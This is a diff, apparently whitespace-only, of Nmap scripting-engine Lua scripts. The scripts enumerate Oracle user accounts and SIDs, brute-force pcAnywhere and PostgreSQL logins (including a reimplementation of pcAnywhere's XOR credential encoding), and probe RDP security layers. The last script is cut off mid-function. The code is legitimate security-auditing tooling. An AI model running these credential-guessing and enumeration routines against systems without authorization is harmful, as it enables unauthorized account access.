|
|
||||||
---Generates a random string of the requested length. This can be used to check how hosts react to
|
---Generates a random string of the requested length. This can be used to check how hosts react to
|
||||||
@@ -76,85 +76,85 @@ end
|
|||||||
--@param set (optional) The set of letters to choose from. Default: upper, lower, numbers, and underscore.
|
--@param set (optional) The set of letters to choose from. Default: upper, lower, numbers, and underscore.
|
||||||
--@return The random string.
|
--@return The random string.
|
||||||
local function get_random_string(length, set)
|
local function get_random_string(length, set)
|
||||||
if(length == nil) then
|
if(length == nil) then
|
||||||
length = 8
|
length = 8
|
||||||
end
|
end
|
||||||
|
|
||||||
if(set == nil) then
|
if(set == nil) then
|
||||||
set = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_"
|
set = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_"
|
||||||
end
|
end
|
||||||
|
|
||||||
local str = ""
|
local str = ""
|
||||||
|
|
||||||
for i = 1, length, 1 do
|
for i = 1, length, 1 do
|
||||||
local random = math.random(#set)
|
local random = math.random(#set)
|
||||||
str = str .. string.sub(set, random, random)
|
str = str .. string.sub(set, random, random)
|
||||||
end
|
end
|
||||||
|
|
||||||
return str
|
return str
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
action = function( host, port )
|
action = function( host, port )
|
||||||
|
|
||||||
local known_good_accounts = { "system", "sys", "dbsnmp", "scott" }
|
local known_good_accounts = { "system", "sys", "dbsnmp", "scott" }
|
||||||
|
|
||||||
local status, salt
|
local status, salt
|
||||||
local count = 0
|
local count = 0
|
||||||
local result = {}
|
local result = {}
|
||||||
local usernames
|
local usernames
|
||||||
|
|
||||||
if ( not( nmap.registry.args['oracle-enum-users.sid'] ) and not( nmap.registry.args['tns.sid'] ) ) then
|
if ( not( nmap.registry.args['oracle-enum-users.sid'] ) and not( nmap.registry.args['tns.sid'] ) ) then
|
||||||
return "ERROR: Oracle instance not set (see oracle-enum-users.sid or tns.sid)"
|
return "ERROR: Oracle instance not set (see oracle-enum-users.sid or tns.sid)"
|
||||||
end
|
end
|
||||||
|
|
||||||
status, usernames = unpwdb.usernames()
|
status, usernames = unpwdb.usernames()
|
||||||
if( not(status) ) then
|
if( not(status) ) then
|
||||||
return stdnse.format_output(true, "ERROR: Failed to load the usernames dictionary")
|
return stdnse.format_output(true, "ERROR: Failed to load the usernames dictionary")
|
||||||
end
|
end
|
||||||
|
|
||||||
-- Check for some known good accounts
|
-- Check for some known good accounts
|
||||||
for _, user in ipairs( known_good_accounts ) do
|
for _, user in ipairs( known_good_accounts ) do
|
||||||
status, salt = checkAccount(host, port, user)
|
status, salt = checkAccount(host, port, user)
|
||||||
if( not(status) ) then return salt end
|
if( not(status) ) then return salt end
|
||||||
if ( salt ) then
|
if ( salt ) then
|
||||||
count = count + #salt
|
count = count + #salt
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
-- did we atleast get a single salt back?
|
-- did we atleast get a single salt back?
|
||||||
if ( count < 20 ) then
|
if ( count < 20 ) then
|
||||||
return stdnse.format_output(true, "ERROR: None of the known accounts were detected (oracle < 11g)")
|
return stdnse.format_output(true, "ERROR: None of the known accounts were detected (oracle < 11g)")
|
||||||
end
|
end
|
||||||
|
|
||||||
-- Check for some known bad accounts
|
-- Check for some known bad accounts
|
||||||
count = 0
|
count = 0
|
||||||
for i=1, 10 do
|
for i=1, 10 do
|
||||||
local user = get_random_string(10)
|
local user = get_random_string(10)
|
||||||
status, salt = checkAccount(host, port, user)
|
status, salt = checkAccount(host, port, user)
|
||||||
if( not(status) ) then return salt end
|
if( not(status) ) then return salt end
|
||||||
if ( salt ) then
|
if ( salt ) then
|
||||||
count = count + #salt
|
count = count + #salt
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
-- It's unlikely that we hit 3 random combinations as valid users
|
-- It's unlikely that we hit 3 random combinations as valid users
|
||||||
if ( count > 60 ) then
|
if ( count > 60 ) then
|
||||||
return stdnse.format_output(true, ("ERROR: %d of %d random accounts were detected (Patched Oracle 11G or Oracle 11G R2)"):format(count/20, 10))
|
return stdnse.format_output(true, ("ERROR: %d of %d random accounts were detected (Patched Oracle 11G or Oracle 11G R2)"):format(count/20, 10))
|
||||||
end
|
end
|
||||||
|
|
||||||
for user in usernames do
|
for user in usernames do
|
||||||
status, salt = checkAccount(host, port, user)
|
status, salt = checkAccount(host, port, user)
|
||||||
if ( not(status) ) then return salt end
|
if ( not(status) ) then return salt end
|
||||||
if ( salt and #salt == 20 ) then
|
if ( salt and #salt == 20 ) then
|
||||||
table.insert( result, ("%s is a valid user account"):format(user))
|
table.insert( result, ("%s is a valid user account"):format(user))
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
if ( #result == 0 ) then
|
if ( #result == 0 ) then
|
||||||
table.insert( result, "Failed to find any valid user accounts")
|
table.insert( result, "Failed to find any valid user accounts")
|
||||||
end
|
end
|
||||||
|
|
||||||
return stdnse.format_output(true, result)
|
return stdnse.format_output(true, result)
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -55,15 +55,15 @@ local tns_type = {CONNECT=1, REFUSE=4, REDIRECT=5, RESEND=11}
|
|||||||
--
|
--
|
||||||
local function create_tns_header(packetType, packetLength)
|
local function create_tns_header(packetType, packetLength)
|
||||||
|
|
||||||
local request = bin.pack( ">SSCCS",
|
local request = bin.pack( ">SSCCS",
|
||||||
packetLength + 34, -- Packet Length
|
packetLength + 34, -- Packet Length
|
||||||
0, -- Packet Checksum
|
0, -- Packet Checksum
|
||||||
tns_type[packetType], -- Packet Type
|
tns_type[packetType], -- Packet Type
|
||||||
0, -- Reserved Byte
|
0, -- Reserved Byte
|
||||||
0 -- Header Checksum
|
0 -- Header Checksum
|
||||||
)
|
)
|
||||||
|
|
||||||
return request
|
return request
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
@@ -77,32 +77,32 @@ end
|
|||||||
--
|
--
|
||||||
local function create_connect_packet( host_ip, port_no, sid )
|
local function create_connect_packet( host_ip, port_no, sid )
|
||||||
|
|
||||||
local connect_data = "(DESCRIPTION=(CONNECT_DATA=(SID=" .. sid .. ")"
|
local connect_data = "(DESCRIPTION=(CONNECT_DATA=(SID=" .. sid .. ")"
|
||||||
connect_data = connect_data .. "(CID=(PROGRAM=)(HOST=__jdbc__)(USER=)))"
|
connect_data = connect_data .. "(CID=(PROGRAM=)(HOST=__jdbc__)(USER=)))"
|
||||||
connect_data = connect_data .. "(ADDRESS=(PROTOCOL=tcp)(HOST=" .. host_ip .. ")"
|
connect_data = connect_data .. "(ADDRESS=(PROTOCOL=tcp)(HOST=" .. host_ip .. ")"
|
||||||
connect_data = connect_data .. "(PORT=" .. port_no .. ")))"
|
connect_data = connect_data .. "(PORT=" .. port_no .. ")))"
|
||||||
|
|
||||||
local data = bin.pack(">SSSSSSSSSSICCA",
|
local data = bin.pack(">SSSSSSSSSSICCA",
|
||||||
308, -- Version
|
308, -- Version
|
||||||
300, -- Version (Compatibility)
|
300, -- Version (Compatibility)
|
||||||
0, -- Service Options
|
0, -- Service Options
|
||||||
2048, -- Session Data Unit Size
|
2048, -- Session Data Unit Size
|
||||||
32767, -- Maximum Transmission Data Unit Size
|
32767, -- Maximum Transmission Data Unit Size
|
||||||
20376, -- NT Protocol Characteristics
|
20376, -- NT Protocol Characteristics
|
||||||
0, -- Line Turnaround Value
|
0, -- Line Turnaround Value
|
||||||
1, -- Value of 1 in Hardware
|
1, -- Value of 1 in Hardware
|
||||||
connect_data:len(), -- Length of connect data
|
connect_data:len(), -- Length of connect data
|
||||||
34, -- Offset to connect data
|
34, -- Offset to connect data
|
||||||
0, -- Maximum Receivable Connect Data
|
0, -- Maximum Receivable Connect Data
|
||||||
1, -- Connect Flags 0
|
1, -- Connect Flags 0
|
||||||
1, -- Connect Flags 1
|
1, -- Connect Flags 1
|
||||||
connect_data
|
connect_data
|
||||||
)
|
)
|
||||||
|
|
||||||
|
|
||||||
local header = create_tns_header("CONNECT", connect_data:len() )
|
local header = create_tns_header("CONNECT", connect_data:len() )
|
||||||
|
|
||||||
return header .. data
|
return header .. data
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
@@ -113,61 +113,61 @@ end
|
|||||||
--
|
--
|
||||||
local function process_tns_packet( packet )
|
local function process_tns_packet( packet )
|
||||||
|
|
||||||
local tnspacket = {}
|
local tnspacket = {}
|
||||||
|
|
||||||
-- just pull out the bare minimum to be able to match
|
-- just pull out the bare minimum to be able to match
|
||||||
local _
|
local _
|
||||||
_, tnspacket.Length, tnspacket.Checksum, tnspacket.Type = bin.unpack(">SSC", packet)
|
_, tnspacket.Length, tnspacket.Checksum, tnspacket.Type = bin.unpack(">SSC", packet)
|
||||||
|
|
||||||
return tnspacket
|
return tnspacket
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
|
|
||||||
local found_sids = {}
|
local found_sids = {}
|
||||||
local socket = nmap.new_socket()
|
local socket = nmap.new_socket()
|
||||||
local catch = function() socket:close() end
|
local catch = function() socket:close() end
|
||||||
local try = nmap.new_try(catch)
|
local try = nmap.new_try(catch)
|
||||||
local request, response, tns_packet
|
local request, response, tns_packet
|
||||||
local sidfile
|
local sidfile
|
||||||
|
|
||||||
socket:set_timeout(5000)
|
socket:set_timeout(5000)
|
||||||
|
|
||||||
-- open the sid file specified by the user or fallback to the default oracle-sids file
|
-- open the sid file specified by the user or fallback to the default oracle-sids file
|
||||||
local sidfilename = nmap.registry.args.oraclesids or nmap.fetchfile("nselib/data/oracle-sids")
|
local sidfilename = nmap.registry.args.oraclesids or nmap.fetchfile("nselib/data/oracle-sids")
|
||||||
|
|
||||||
sidfile = io.open(sidfilename)
|
sidfile = io.open(sidfilename)
|
||||||
|
|
||||||
if not sidfile then
|
if not sidfile then
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
-- read sids line-by-line from the sidfile
|
-- read sids line-by-line from the sidfile
|
||||||
for sid in sidfile:lines() do
|
for sid in sidfile:lines() do
|
||||||
|
|
||||||
-- check for comments
|
-- check for comments
|
||||||
if not sid:match("#!comment:") then
|
if not sid:match("#!comment:") then
|
||||||
|
|
||||||
try(socket:connect(host, port))
|
try(socket:connect(host, port))
|
||||||
request = create_connect_packet( host.ip, port.number, sid )
|
request = create_connect_packet( host.ip, port.number, sid )
|
||||||
try(socket:send(request))
|
try(socket:send(request))
|
||||||
response = try(socket:receive_bytes(1))
|
response = try(socket:receive_bytes(1))
|
||||||
tns_packet = process_tns_packet(response)
|
tns_packet = process_tns_packet(response)
|
||||||
|
|
||||||
-- If we get anything other than REFUSE consider it as a valid SID
|
-- If we get anything other than REFUSE consider it as a valid SID
|
||||||
if tns_packet.Type ~= tns_type.REFUSE then
|
if tns_packet.Type ~= tns_type.REFUSE then
|
||||||
table.insert(found_sids, sid)
|
table.insert(found_sids, sid)
|
||||||
end
|
end
|
||||||
|
|
||||||
try(socket:close())
|
try(socket:close())
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
sidfile:close()
|
sidfile:close()
|
||||||
|
|
||||||
return stdnse.format_output(true, found_sids)
|
return stdnse.format_output(true, found_sids)
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -44,118 +44,118 @@ arg_timeout = (arg_timeout or 10) * 1000
|
|||||||
|
|
||||||
-- implements simple xor based encryption which the server expects
|
-- implements simple xor based encryption which the server expects
|
||||||
local function encrypt(data)
|
local function encrypt(data)
|
||||||
local result = {}
|
local result = {}
|
||||||
local xor_key = 0xab
|
local xor_key = 0xab
|
||||||
local k = 0
|
local k = 0
|
||||||
if data then
|
if data then
|
||||||
result[1] = bit.bxor(string.byte(data),xor_key)
|
result[1] = bit.bxor(string.byte(data),xor_key)
|
||||||
for i = 2,string.len(data) do
|
for i = 2,string.len(data) do
|
||||||
result[i] = bit.bxor(result[i-1],string.byte(data,i),i-2)
|
result[i] = bit.bxor(result[i-1],string.byte(data,i),i-2)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
return string.char(table.unpack(result))
|
return string.char(table.unpack(result))
|
||||||
end
|
end
|
||||||
|
|
||||||
local retry = false -- true means we found valid login and need to wait
|
local retry = false -- true means we found valid login and need to wait
|
||||||
|
|
||||||
Driver = {
|
Driver = {
|
||||||
|
|
||||||
new = function(self, host, port)
|
new = function(self, host, port)
|
||||||
local o = {}
|
local o = {}
|
||||||
setmetatable(o, self)
|
setmetatable(o, self)
|
||||||
self.__index = self
|
self.__index = self
|
||||||
o.host = host
|
o.host = host
|
||||||
o.port = port
|
o.port = port
|
||||||
return o
|
return o
|
||||||
end,
|
end,
|
||||||
|
|
||||||
connect = function( self )
|
connect = function( self )
|
||||||
self.socket = nmap.new_socket()
|
self.socket = nmap.new_socket()
|
||||||
local response
|
local response
|
||||||
local err
|
local err
|
||||||
local status = false
|
local status = false
|
||||||
|
|
||||||
stdnse.sleep(2)
|
stdnse.sleep(2)
|
||||||
-- when we hit a valid login pair, server enters some kind of locked state
|
-- when we hit a valid login pair, server enters some kind of locked state
|
||||||
-- so we need to wait for some time before trying next pair
|
-- so we need to wait for some time before trying next pair
|
||||||
-- variable "retry" signifies if we need to wait or this is just not pcAnywhere server
|
-- variable "retry" signifies if we need to wait or this is just not pcAnywhere server
|
||||||
while not status do
|
while not status do
|
||||||
status, err = self.socket:connect(self.host, self.port)
|
status, err = self.socket:connect(self.host, self.port)
|
||||||
self.socket:set_timeout(arg_timeout)
|
self.socket:set_timeout(arg_timeout)
|
||||||
if(not(status)) then
|
if(not(status)) then
|
||||||
return false, brute.Error:new( "Couldn't connect to host: " .. err )
|
return false, brute.Error:new( "Couldn't connect to host: " .. err )
|
||||||
end
|
end
|
||||||
status, err = self.socket:send(bin.pack("H","00000000")) --initial hello
|
status, err = self.socket:send(bin.pack("H","00000000")) --initial hello
|
||||||
status, response = self.socket:receive_bytes(0)
|
status, response = self.socket:receive_bytes(0)
|
||||||
if not status and not retry then
|
if not status and not retry then
|
||||||
break
|
break
|
||||||
end
|
end
|
||||||
stdnse.print_debug("in a loop")
|
stdnse.print_debug("in a loop")
|
||||||
stdnse.sleep(2) -- needs relatively big timeout between retries
|
stdnse.sleep(2) -- needs relatively big timeout between retries
|
||||||
end
|
end
|
||||||
if not status or string.find(response,"Please press <Enter>") == nil then
|
if not status or string.find(response,"Please press <Enter>") == nil then
|
||||||
--probably not pcanywhere
|
--probably not pcanywhere
|
||||||
stdnse.print_debug(1, "%s: not pcAnywhere", SCRIPT_NAME)
|
stdnse.print_debug(1, "%s: not pcAnywhere", SCRIPT_NAME)
|
||||||
return false, brute.Error:new( "Probably not pcAnywhere." )
|
return false, brute.Error:new( "Probably not pcAnywhere." )
|
||||||
end
|
end
|
||||||
retry = false
|
retry = false
|
||||||
status, err = self.socket:send(bin.pack("H","6f06ff")) -- downgrade into legacy mode
|
status, err = self.socket:send(bin.pack("H","6f06ff")) -- downgrade into legacy mode
|
||||||
status, response = self.socket:receive_bytes(0)
|
status, response = self.socket:receive_bytes(0)
|
||||||
|
|
||||||
status, err = self.socket:send(bin.pack("H","6f61000900fe0000ffff00000000")) -- auth capabilities I
|
status, err = self.socket:send(bin.pack("H","6f61000900fe0000ffff00000000")) -- auth capabilities I
|
||||||
status, response = self.socket:receive_bytes(0)
|
status, response = self.socket:receive_bytes(0)
|
||||||
|
|
||||||
status, err = self.socket:send(bin.pack("H","6f620102000000")) -- auth capabilities II
|
status, err = self.socket:send(bin.pack("H","6f620102000000")) -- auth capabilities II
|
||||||
status, response = self.socket:receive_bytes(0)
|
status, response = self.socket:receive_bytes(0)
|
||||||
if not status or (string.find(response,"Enter user name") == nil and string.find(response,"Enter login name") == nil) then
|
if not status or (string.find(response,"Enter user name") == nil and string.find(response,"Enter login name") == nil) then
|
||||||
stdnse.print_debug(1, "%s: handshake failed", SCRIPT_NAME)
|
stdnse.print_debug(1, "%s: handshake failed", SCRIPT_NAME)
|
||||||
return false, brute.Error:new( "Handshake failed." )
|
return false, brute.Error:new( "Handshake failed." )
|
||||||
end
|
end
|
||||||
return true
|
return true
|
||||||
end,
|
end,
|
||||||
|
|
||||||
login = function (self, user, pass)
|
login = function (self, user, pass)
|
||||||
local response
|
local response
|
||||||
local err
|
local err
|
||||||
local status
|
local status
|
||||||
stdnse.print_debug( "Trying %s/%s ...", user, pass )
|
stdnse.print_debug( "Trying %s/%s ...", user, pass )
|
||||||
-- send username and password
|
-- send username and password
|
||||||
-- both are prefixed with 0x06, size and are encrypted
|
-- both are prefixed with 0x06, size and are encrypted
|
||||||
status, err = self.socket:send(bin.pack("C",0x06) .. bin.pack("C",string.len(user)) .. encrypt(user) ) -- send username
|
status, err = self.socket:send(bin.pack("C",0x06) .. bin.pack("C",string.len(user)) .. encrypt(user) ) -- send username
|
||||||
status, response = self.socket:receive_bytes(0)
|
status, response = self.socket:receive_bytes(0)
|
||||||
if not status or string.find(response,"Enter password") == nil then
|
if not status or string.find(response,"Enter password") == nil then
|
||||||
stdnse.print_debug(1, "%s: Sending username failed", SCRIPT_NAME)
|
stdnse.print_debug(1, "%s: Sending username failed", SCRIPT_NAME)
|
||||||
return false, brute.Error:new( "Sending username failed." )
|
return false, brute.Error:new( "Sending username failed." )
|
||||||
end
|
end
|
||||||
-- send password
|
-- send password
|
||||||
status, err = self.socket:send(bin.pack("C",0x06) .. bin.pack("C",string.len(pass)) .. encrypt(pass) ) -- send password
|
status, err = self.socket:send(bin.pack("C",0x06) .. bin.pack("C",string.len(pass)) .. encrypt(pass) ) -- send password
|
||||||
status, response = self.socket:receive_bytes(0)
|
status, response = self.socket:receive_bytes(0)
|
||||||
if not status or string.find(response,"Login unsuccessful") or string.find(response,"Invalid login.")then
|
if not status or string.find(response,"Login unsuccessful") or string.find(response,"Invalid login.")then
|
||||||
stdnse.print_debug(1, "%s: Incorrect username or password", SCRIPT_NAME)
|
stdnse.print_debug(1, "%s: Incorrect username or password", SCRIPT_NAME)
|
||||||
return false, brute.Error:new( "Incorrect username or password." )
|
return false, brute.Error:new( "Incorrect username or password." )
|
||||||
end
|
end
|
||||||
|
|
||||||
if status then
|
if status then
|
||||||
retry = true -- now the server is in "locked mode", we need to retry next connection a few times
|
retry = true -- now the server is in "locked mode", we need to retry next connection a few times
|
||||||
return true, brute.Account:new( user, pass, creds.State.VALID)
|
return true, brute.Account:new( user, pass, creds.State.VALID)
|
||||||
end
|
end
|
||||||
return false,brute.Error:new( "Incorrect password" )
|
return false,brute.Error:new( "Incorrect password" )
|
||||||
end,
|
end,
|
||||||
|
|
||||||
disconnect = function( self )
|
disconnect = function( self )
|
||||||
self.socket:close()
|
self.socket:close()
|
||||||
return true
|
return true
|
||||||
end
|
end
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
action = function( host, port )
|
action = function( host, port )
|
||||||
|
|
||||||
local status, result
|
local status, result
|
||||||
local engine = brute.Engine:new(Driver, host, port)
|
local engine = brute.Engine:new(Driver, host, port)
|
||||||
engine.options.script_name = SCRIPT_NAME
|
engine.options.script_name = SCRIPT_NAME
|
||||||
engine.max_threads = 1 -- pcAnywhere supports only one login at a time
|
engine.max_threads = 1 -- pcAnywhere supports only one login at a time
|
||||||
status, result = engine:start()
|
status, result = engine:start()
|
||||||
|
|
||||||
return result
|
return result
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -53,113 +53,113 @@ portrule = shortport.port_or_service(5432, "postgresql")
|
|||||||
-- @param ssl boolean, if true connect using SSL
|
-- @param ssl boolean, if true connect using SSL
|
||||||
-- @return socket connected to server
|
-- @return socket connected to server
|
||||||
local function connectSocket(host, port, ssl)
|
local function connectSocket(host, port, ssl)
|
||||||
local socket = nmap.new_socket()
|
local socket = nmap.new_socket()
|
||||||
|
|
||||||
-- set a reasonable timeout value
|
-- set a reasonable timeout value
|
||||||
socket:set_timeout(5000)
|
socket:set_timeout(5000)
|
||||||
socket:connect(host, port)
|
socket:connect(host, port)
|
||||||
|
|
||||||
-- let's be responsible and avoid sending communication in the clear
|
-- let's be responsible and avoid sending communication in the clear
|
||||||
if ( ssl ) then
|
if ( ssl ) then
|
||||||
local status = pgsql.requestSSL(socket)
|
local status = pgsql.requestSSL(socket)
|
||||||
if ( status ) then
|
if ( status ) then
|
||||||
socket:reconnect_ssl()
|
socket:reconnect_ssl()
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
return socket
|
return socket
|
||||||
end
|
end
|
||||||
|
|
||||||
action = function( host, port )
|
action = function( host, port )
|
||||||
|
|
||||||
local status, response, ssl_enable, output
|
local status, response, ssl_enable, output
|
||||||
local result, response, status, nossl = {}, nil, nil, false
|
local result, response, status, nossl = {}, nil, nil, false
|
||||||
local valid_accounts = {}
|
local valid_accounts = {}
|
||||||
local pg
|
local pg
|
||||||
|
|
||||||
if ( nmap.registry.args['pgsql.version'] ) then
|
if ( nmap.registry.args['pgsql.version'] ) then
|
||||||
if ( tonumber(nmap.registry.args['pgsql.version']) == 2 ) then
|
if ( tonumber(nmap.registry.args['pgsql.version']) == 2 ) then
|
||||||
pg = pgsql.v2
|
pg = pgsql.v2
|
||||||
elseif ( tonumber(nmap.registry.args['pgsql.version']) == 3 ) then
|
elseif ( tonumber(nmap.registry.args['pgsql.version']) == 3 ) then
|
||||||
pg = pgsql.v3
|
pg = pgsql.v3
|
||||||
else
|
else
|
||||||
stdnse.print_debug("pgsql-brute: Unsupported version %s", nmap.registry.args['pgsql.version'])
|
stdnse.print_debug("pgsql-brute: Unsupported version %s", nmap.registry.args['pgsql.version'])
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
else
|
else
|
||||||
pg = pgsql.detectVersion(host, port )
|
pg = pgsql.detectVersion(host, port )
|
||||||
end
|
end
|
||||||
|
|
||||||
local usernames, passwords
|
local usernames, passwords
|
||||||
status, usernames = unpwdb.usernames()
|
status, usernames = unpwdb.usernames()
|
||||||
if ( not(status) ) then return end
|
if ( not(status) ) then return end
|
||||||
|
|
||||||
status, passwords = unpwdb.passwords()
|
status, passwords = unpwdb.passwords()
|
||||||
if ( not(status) ) then return end
|
if ( not(status) ) then return end
|
||||||
|
|
||||||
-- If the user explicitly does not disable SSL, enforce it
|
-- If the user explicitly does not disable SSL, enforce it
|
||||||
if ( ( nmap.registry.args['pgsql.nossl'] == 'true' ) or
|
if ( ( nmap.registry.args['pgsql.nossl'] == 'true' ) or
|
||||||
( nmap.registry.args['pgsql.nossl'] == '1' ) ) then
|
( nmap.registry.args['pgsql.nossl'] == '1' ) ) then
|
||||||
nossl = true
|
nossl = true
|
||||||
end
|
end
|
||||||
|
|
||||||
for username in usernames do
|
for username in usernames do
|
||||||
ssl_enable = not(nossl)
|
ssl_enable = not(nossl)
|
||||||
for password in passwords do
|
for password in passwords do
|
||||||
stdnse.print_debug( string.format("Trying %s/%s ...", username, password ) )
|
stdnse.print_debug( string.format("Trying %s/%s ...", username, password ) )
|
||||||
local socket = connectSocket( host, port, ssl_enable )
|
local socket = connectSocket( host, port, ssl_enable )
|
||||||
status, response = pg.sendStartup(socket, username, username)
|
status, response = pg.sendStartup(socket, username, username)
|
||||||
|
|
||||||
-- if nossl is enforced by the user, we're done
|
-- if nossl is enforced by the user, we're done
|
||||||
if ( not(status) and nossl ) then
|
if ( not(status) and nossl ) then
|
||||||
break
|
break
|
||||||
end
|
end
|
||||||
|
|
||||||
-- SSL failed, this can occure due to:
|
-- SSL failed, this can occure due to:
|
||||||
-- 1. The server does not do SSL
|
-- 1. The server does not do SSL
|
||||||
-- 2. SSL was denied on a per host or network level
|
-- 2. SSL was denied on a per host or network level
|
||||||
--
|
--
|
||||||
-- Attempt SSL connection
|
-- Attempt SSL connection
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
socket:close()
|
socket:close()
|
||||||
ssl_enable = false
|
ssl_enable = false
|
||||||
socket = connectSocket( host, port, ssl_enable )
|
socket = connectSocket( host, port, ssl_enable )
|
||||||
status, response = pg.sendStartup(socket, username, username)
|
status, response = pg.sendStartup(socket, username, username)
|
||||||
if (not(status)) then
|
if (not(status)) then
|
||||||
if ( response:match("no pg_hba.conf entry for host") ) then
|
if ( response:match("no pg_hba.conf entry for host") ) then
|
||||||
stdnse.print_debug("The host was denied access to db \"%s\" as user \"%s\", aborting ...", username, username )
|
stdnse.print_debug("The host was denied access to db \"%s\" as user \"%s\", aborting ...", username, username )
|
||||||
break
|
break
|
||||||
else
|
else
|
||||||
stdnse.print_debug("pgsql-brute: sendStartup returned: %s", response )
|
stdnse.print_debug("pgsql-brute: sendStartup returned: %s", response )
|
||||||
break
|
break
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
-- Do not attempt to authenticate if authentication type is trusted
|
-- Do not attempt to authenticate if authentication type is trusted
|
||||||
if ( response.authtype ~= pgsql.AuthenticationType.Success ) then
|
if ( response.authtype ~= pgsql.AuthenticationType.Success ) then
|
||||||
status, response = pg.loginRequest( socket, response, username, password, response.salt)
|
status, response = pg.loginRequest( socket, response, username, password, response.salt)
|
||||||
end
|
end
|
||||||
|
|
||||||
if status then
|
if status then
|
||||||
-- Add credentials for other pgsql scripts to use
|
-- Add credentials for other pgsql scripts to use
|
||||||
if nmap.registry.pgsqlusers == nil then
|
if nmap.registry.pgsqlusers == nil then
|
||||||
nmap.registry.pgsqlusers = {}
|
nmap.registry.pgsqlusers = {}
|
||||||
end
|
end
|
||||||
nmap.registry.pgsqlusers[username]=password
|
nmap.registry.pgsqlusers[username]=password
|
||||||
if ( response.authtype ~= pgsql.AuthenticationType.Success ) then
|
if ( response.authtype ~= pgsql.AuthenticationType.Success ) then
|
||||||
table.insert( valid_accounts, string.format("%s:%s => Valid credentials", username, password:len()>0 and password or "<empty>" ) )
|
table.insert( valid_accounts, string.format("%s:%s => Valid credentials", username, password:len()>0 and password or "<empty>" ) )
|
||||||
else
|
else
|
||||||
table.insert( valid_accounts, string.format("%s => Trusted authentication", username ) )
|
table.insert( valid_accounts, string.format("%s => Trusted authentication", username ) )
|
||||||
end
|
end
|
||||||
break
|
break
|
||||||
end
|
end
|
||||||
socket:close()
|
socket:close()
|
||||||
end
|
end
|
||||||
passwords("reset")
|
passwords("reset")
|
||||||
end
|
end
|
||||||
|
|
||||||
output = stdnse.format_output(true, valid_accounts)
|
output = stdnse.format_output(true, valid_accounts)
|
||||||
|
|
||||||
return output
|
return output
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -41,123 +41,123 @@ categories = {"safe", "discovery"}
|
|||||||
portrule = shortport.port_or_service(3389, "ms-wbt-server")
|
portrule = shortport.port_or_service(3389, "ms-wbt-server")
|
||||||
|
|
||||||
local function enum_protocols(host, port)
|
local function enum_protocols(host, port)
|
||||||
local PROTOCOLS = {
|
local PROTOCOLS = {
|
||||||
["Native RDP"] = 0,
|
["Native RDP"] = 0,
|
||||||
["SSL"] = 1,
|
["SSL"] = 1,
|
||||||
["CredSSP"] = 3
|
["CredSSP"] = 3
|
||||||
}
|
}
|
||||||
|
|
||||||
local ERRORS = {
|
local ERRORS = {
|
||||||
[1] = "SSL_REQUIRED_BY_SERVER",
|
[1] = "SSL_REQUIRED_BY_SERVER",
|
||||||
[2] = "SSL_NOT_ALLOWED_BY_SERVER",
|
[2] = "SSL_NOT_ALLOWED_BY_SERVER",
|
||||||
[3] = "SSL_CERT_NOT_ON_SERVER",
|
[3] = "SSL_CERT_NOT_ON_SERVER",
|
||||||
[4] = "INCONSISTENT_FLAGS",
|
[4] = "INCONSISTENT_FLAGS",
|
||||||
[5] = "HYBRID_REQUIRED_BY_SERVER"
|
[5] = "HYBRID_REQUIRED_BY_SERVER"
|
||||||
}
|
}
|
||||||
|
|
||||||
local res_proto = { name = "Security layer" }
|
local res_proto = { name = "Security layer" }
|
||||||
|
|
||||||
for k, v in pairs(PROTOCOLS) do
|
for k, v in pairs(PROTOCOLS) do
|
||||||
local comm = rdp.Comm:new(host, port)
|
local comm = rdp.Comm:new(host, port)
|
||||||
if ( not(comm:connect()) ) then
|
if ( not(comm:connect()) ) then
|
||||||
return false, "ERROR: Failed to connect to server"
|
return false, "ERROR: Failed to connect to server"
|
||||||
end
|
end
|
||||||
local cr = rdp.Request.ConnectionRequest:new(v)
|
local cr = rdp.Request.ConnectionRequest:new(v)
|
||||||
local status, response = comm:exch(cr)
|
local status, response = comm:exch(cr)
|
||||||
comm:close()
|
comm:close()
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
return false, response
|
return false, response
|
||||||
end
|
end
|
||||||
|
|
||||||
local pos, success = bin.unpack("C", response.itut.data)
|
local pos, success = bin.unpack("C", response.itut.data)
|
||||||
if ( success == 2 ) then
|
if ( success == 2 ) then
|
||||||
table.insert(res_proto, ("%s: SUCCESS"):format(k))
|
table.insert(res_proto, ("%s: SUCCESS"):format(k))
|
||||||
elseif ( nmap.debugging() > 0 ) then
|
elseif ( nmap.debugging() > 0 ) then
|
||||||
local pos, err = bin.unpack("C", response.itut.data, 5)
|
local pos, err = bin.unpack("C", response.itut.data, 5)
|
||||||
if ( err > 0 ) then
|
if ( err > 0 ) then
|
||||||
table.insert(res_proto, ("%s: FAILED (%s)"):format(k, ERRORS[err] or "Unknown"))
|
table.insert(res_proto, ("%s: FAILED (%s)"):format(k, ERRORS[err] or "Unknown"))
|
||||||
else
|
else
|
||||||
table.insert(res_proto, ("%s: FAILED"):format(k))
|
table.insert(res_proto, ("%s: FAILED"):format(k))
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
table.sort(res_proto)
|
